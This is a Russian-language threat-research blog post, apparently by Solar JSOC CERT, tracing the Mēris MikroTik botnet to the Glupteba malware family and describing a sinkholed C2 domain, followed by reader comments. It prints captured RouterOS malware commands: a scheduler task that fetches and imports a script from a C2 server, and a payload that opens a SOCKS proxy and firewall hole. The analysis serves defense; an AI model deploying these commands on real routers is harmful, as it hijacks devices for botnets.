Неделю назад стало известно о рекордной DDoS-атаке на компанию Яндекс с впечатляющим значением в 21,8 млн RPS. Сотрудники Яндекса совместно с компанией Qrator Labs рассказали,
что инструментом проведения атаки был ботнет Mēris, состоящий из сетевых устройств компании Mikrotik. При этом они отметили, что изучить образец бота у них не было возможности, но утверждение, что Mēris – это «вернувшийcя Mirai», не совсем точно из-за различия в сетевых уровнях атаки (L7 и L3).



Мы уверены, что данные обстоятельства привлекли внимание многих специалистов
по информационной безопасности в попытках изучения внутреннего устройства ботнета Mēris
и природы его возникновения. Мы в Solar JSOC CERT не стали исключением и пришли к выводу, что, возможно, Mēris начал зарождаться еще в 2018 году с помощью вредоносного семейства Glupteba, которое до сих пор является «поставщиком» устройств для Mēris. Так же нам удалось получить контроль над 45 тысячами устройств MikroTik.

JSOC CERT имеет распределенную по миру сеть honeypot-устройств для изучения массовых атак и вредоносных семейств с 2019 года. Последние два года мы наблюдали за попытками заражения устройств MikroTik при помощи брутфорса паролей по ssh и эксплуатации уязвимости CVE-2018-14847, позволяющей получить учетную запись администратора. Как правило после удачного входа на устройство прописывается команда на добавление задачи в планировщик задач RouterOS следующего вида:

/system scheduler add name="U6" interval=10m on-event="/tool 
fetch url=http://…/poll/eb62f787-db25-489b-b60d-de8f23940ba2 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write

У всех URL всегда присутствовала характерная часть “/poll/”, идентификатор же постоянно менялся. Кроме того, сервер управления всегда проверяет User-Agent в http-запросе и отдает нагрузку только устройствам MikroTik (User-Agent: Mikrotik/6.x Fetch).

Через некоторое время после заражения устройства по ссылке из запланированной задачи скачивается и запускается скрипт с командами (об этом уже писали на Хабре):

:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}

Устройства MikroTik занимают небольшую часть в нашей honeypot-сети, поэтому мы не могли, оперируя лишь нашими данными, рассуждать о масштабах угрозы.

9 сентября 2021 года на наши устройства MikroTik с серверов управления (ниже в таблице) пришла очередная задача (описанного выше формата), которую мы не встречали ранее.
Она содержала ссылку на Яндекс (по указанным ссылкам сейчас находится заглушка, рекомендующая проверить компьютер на вирусы; изначальное содержимое нам неизвестно):

:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0"  http-method=get }
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0?init" http-method=get }

Так же в этот день Яндекс опубликовал новость о DDoS-атаке. Прочитав ее, мы сделали предположение, что именно таким образом и была организована атака (технических подробностей на тот момент представлено не было). То есть в качестве семпла вредоносного кода выступает лишь задача в планировщике RouterOS.

10 сентября 2021 мы зафиксировали распространение команды, в которой передавались параметры авторизации на FTP-сервере и задача по выгрузке на него конфигурационного файла зараженного устройства.



Мы забрали и проанализировали все конфигурационные файлы (они не содержат публичные адреса, логины и пароли). В итоге нам удалось идентифицировать общее количество уникальных устройств равное 95500.





При сравнении полученной информации о регионах устройств, версиях ОС и открытых Socks-proxy с данными в посте Яндекса мы заметили очевидное сходство.

Важной информацией в конфигурационных файлах всех устройств MikroTik было наличие записей о задачах в RouterOS. Мы проанализировали доменные имена (ниже), с которых взломанные устройства скачивали скрипты, и это привело нас к вредоносному семейству Glupteba, о котором мы уже рассказывали.

Именно тут мы и вспомнили, что Glupteba имеет в своем арсенале модуль для заражения MikroTik, который, к слову, работает тоже через брутфорс паролей по ssh и эксплуатации уязвимости CVE-2018-14847 и создает ровно такие же задачи.

О данном модуле ранее писали Sophos и TrendMicro (см. здесь и здесь).

Пример шаблона для формирования задачи из модуля:



Помните про идентификатор задачи, который присылался вместе с доменом и располагался после характерной части “/poll/”? Так вот это UUID, который формируется при помощи библиотеки github.com/gofrs/uuid как в основном модуле Glupteba, так и в модуле Mikrotik.

От себя скажем, что мы встречались с разными модулями Glupteba для Mikrotik. Условно их можно разделить на несколько групп:

  1. Язык: Go, один вшитый домен для формирования задачи;
  2. Язык: Go, несколько вшитых доменов (обычно, три), один из которых выбирается случайным образом;
  3. Язык: C++ с использованием boost.

Составили таблицу, в которой мы привели данные о доменах, найденных во вредоносных задачах конфигурационных файлов 95500 устройств Mikrotik и доменах, которые мы обнаружили в модулях семейства Glupteba:



Описанные выше данные позволяют предположить, что вредоносное семейство Glupteba, участвовало в формировании ботнета Mēris. Мы думали, что на этом наше исследование подойдет к концу, но самое интересное нас еще ждало впереди.

14 сентября 2021 в 17:37 на нашем ханипоте MikroTik была запущена очередная команда, которая отсылала зараженное устройство на CnC-адрес cosmosentry[.]com. Мы очень удивились, когда выяснили, что это доменное имя еще никому не принадлежит, и быстро зарегистрировали его на себя. За шесть дней на наш сервер обратилось около 78 тысяч уникальных IP c характерным для MikroTik User-Agent, и мы думали, что это соответствует количеству зараженных устройств.

Однако после изучения статистических данных оказалось, что на самом деле устройств около 45 тысяч, а такое количество IP-адресов получилось из-за динамической адресации. То есть многие устройства не имеют белого адреса и находятся во внутренней сети, что еще раз наводит на мысль об участии в этом деле семейства Glupteba.

Например, на рисунке представлена одна «белая подсеть» по маске /24, из которой идут обращения к cosmosentry[.]com.



Распределение по geo IP:



Наша статистика по геопринадлежности зараженных устройств схожа с данными в посте Яндекса (Бразилия, Индонезия, Индия, Бангладеш). Но есть и различия (у нас большую часть занимает Украина). Вероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.



В конце хочется напомнить, что, к сожалению, мы не можем предпринять никаких активных действий с подконтрольными нам устройствами (у нас нет на это полномочий). В настоящий момент порядка 45 тысяч устройств MikroTik обращаются к нам, как к sinkhole-домену.
Информация уже передана в НКЦКИ.

Комментарии (30)


  1. pingwinator
    20.09.2021 12:53
    +2

    Микротки всем хороши. Реально железка из серии, настроил и забыл. Кроме обновлений.

    мой древний rb750 обновлялся всегда без проблем.

    зато у родителей hap lite - лотерея. пару раз обновлялся норм, и 2 раза окирпичвался. 1 раз даже пришлось за 500 км ехать, дабы настроить.


    1. Stesh
      20.09.2021 13:40
      +2

      2 раза окирпичвался

      А это его болячка, ему не всегда хватает оперативки (32 MB), чтобы скачать и развернуть образ для прошивки; пару раз выпускали прошивки, в которых этот момент забыли учесть и успешно кирпичили лайты. Благо, хоть нетинсталл позволял вернуть железку к жизни.


      1. pingwinator
        20.09.2021 14:07
        +1

        да, но когда ты за 500 км, то как-то нетинстал мало чем поможет...


        1. Evgeniy73
          21.09.2021 13:03
          +3

          Удаленная настройка файрволла к дальней дороге).


        1. Soren
          24.09.2021 13:28
          +1

          Можно купить еще один hAP lite и netinstall'ить через него! :D


  1. kyprizel
    20.09.2021 13:22
    +2

    Команда /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0?init" http-method=get

    без import делает просто GET запрос, а не выполняет полученные по этому URL инструкции. При этом у запроса будет характерный User-Agent, а значит, для атаки использоваться не может (легко режется).


    1. JSOC_CERT Автор
      20.09.2021 17:09
      +3

      Добрый день, спасибо за комментарий. Как было написано - этот кусок и есть часть задачи, которую mikrotik забрал с CnC после /system scheduler. Так что да, главная задача - это отправить запрос.

      Про User-Agent вы частично правы, но есть еще Socks. Потому мы и написали, что предположили. Технических деталей в публичном пространстве мы не нашли.


  1. Stesh
    20.09.2021 13:25
    +5

    Но есть и различия (у нас большую часть занимает Украина). Вероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.

    Вполне объяснимо, дело в том что Яндекс заблокирован в Украине и со стороны провайдеров (как техническая сторона вопроса) наиболее часто встречается блокировка подсетей Яндекса. Поэтому очень может быть, что Mēris из Украины просто не смог достучаться до Яндеса, отсюда и разница в геолокации ботов.

    Можно попробовать сравнить геолокации ботов ханипота с недавней атаки на хабр

    Большая часть их них была из Бразилии, Индонезии, Индии, Ирака, Украины, Бангладеш, России, Польши, США, Камбоджи, Колумбии и Китая.

    Но если страны приведены в порядке убывания по числу запросов, то не вижу у вас России; а ведь должна более-менее мелькать в запросах.

    PS: в ботнете еще мелькал Linksys, есть ли заметки по этому поводу?


    1. JSOC_CERT Автор
      20.09.2021 17:12
      +2

      Добрый день, спасибо за комментарий. В нашей истории Linksys не встречался. Российские адреса попали в группу Other, поэтому визуально их не видно


  1. Bedal
    20.09.2021 14:00
    +3

    Отлично гармонирует с соседним постом :-)


    1. ex3ger
      21.09.2021 10:28
      +3

      Если я правильно понял, вся атака начинается с брут форса, а против лома ни у какой железки нет приема, тут админить надо...


      1. Bedal
        21.09.2021 10:45
        +1

        Конкурс зануд в другом посте же?
        ____________
        Не обижайтесь, шутка. Вы слишком серьёзно отнеслись к моему комменту. Ничего, кроме забавного совпадения, в виду не имелось.


        1. ex3ger
          21.09.2021 10:52
          +1

          та не.. это скорей защитная реакция, я лучше пошел проверять что на домашнем зоопарке крутится и какие задачи в планировщике, и пароли на всякий случай поменять... на ключи


  1. Protos
    20.09.2021 17:08
    +1

    Надо брать их под управление и либо выключать либо обновлять


    1. Am0ralist
      20.09.2021 17:40
      +3

      Угу, а потом такие новости: «русские хакеры взломали полмира», вряд ли «Ростелеком-Солар» сможет как-то оправдать такие действия. Тут только как-то передавать данные в другие юрисдикции…


    1. WicRus
      21.09.2021 07:59
      +1

      Выключение не поможет, его включат без задней мысли. Обновить в тихом режиме и вредоносные задачи с планировщика убрать. При этом ряд действий заранее нужно делать со специфичной подготовкой, не все готовы рисковать. Безопасней статью на хабр написать, чем прибить чей-то ботнет.


      1. Protos
        21.09.2021 14:18

        Тогда по IP все имена, по именам сайт, на сайте все email и слать на них ссылку об этой дырке


        1. czz
          21.09.2021 16:23
          +1

          Возможно, стоит разослать абьюзы провайдерам, чтобы они этих клиентов отключили.


          1. Protos
            21.09.2021 17:04

            Во, это реально круто


  1. ahtox74
    20.09.2021 23:15
    -2

    Уже третья или четвертая статья на Хабре по поводу этого ботнета - хэши бинарников никто так и не запостил.


    1. n_bogdanov
      21.09.2021 09:20
      +1

      Наверное потому, что бинарники на компьютере злоумышленника, однако ссылки на код модулей в статье присутствуют. А на микротике просто скрипты исполняются.


      1. ahtox74
        21.09.2021 11:27
        -1

        Ссылок не вижу. Вижу картинку с хэшами. Вы предлагаете своим коллегам по индустрии перепечатывать хэши с картинки?


        1. n_bogdanov
          21.09.2021 11:34
          +1

          Давайте разбираться. Какие бинарники вы хотите увидеть? Которые Микротики взламывают или которые на микротиках запускаются?

          По поводу ссылок да, я ошибся, в статье по ссылке нет исходников, а только разбор алгоритмов.


          1. ahtox74
            21.09.2021 12:15
            -2

            Хэши любых бинарников связанных с этим ботнетом


  1. ksiva
    21.09.2021 07:10

    - Что делает разработчик для исправления данной проблемы?

    - Что должны делать сотрудники правоохранительных органов, когда видят атаки мирового масштаба?

    В США ФБР таким образом обновила все уязвимые Exchange серверы, не дожидаясь, когда владельцы сами это сделают.


    1. n_bogdanov
      21.09.2021 09:22
      +2

      ФБР - силовое ведомство, в то время как RT Solar таковым не является. Вы сравниваете несравнимое.


      1. ksiva
        21.09.2021 10:25
        +1

        С чего вы решили, что я сравниваю Солар и ФБР? ))) Вопрос сотрудникам правоохранительных органов ) Вроде там в вопросе это черным по белому написано? ;-) В статье я прочитал, что Солар отправил всю информацию в НКЦКИ. То есть действовать теперь должны в ФСБ. Ну и наверно в МВД эта информация тоже как-то попадает..

        Про ФБР очень хорошая была новость. ФСБ может сделать также для Микротик в нашей стране https://www.kommersant.ru/doc/4772046


        1. MrRitm
          21.09.2021 15:26

          О! А потом в реклеме провайдера которому принудительно железку обновили: "Вопросы Вашей безопасности курируют лучшие сотрудники ФБР и ФСБ!" :-)


          1. Rosich70
            24.09.2021 13:29

            Вот возможно поэтому наши силовые и не полезут принудительно в отличие от ФБР, потому что будет много недовольных. Но по сути это вопрос глобальной безопасности и если не они, то кто-то типа Солара должен принудительно закрывать подобные дыры, потому что такое количество устройств с разных сегментов экономики можно очень хорошо использовать в своих целях. Ну опять же это имхо.


        1. czz
          21.09.2021 16:25

          Вопрос сотрудникам правоохранительных органов

          Так вы тогда и отправьте запрос непосредственно в правоохранительные органы.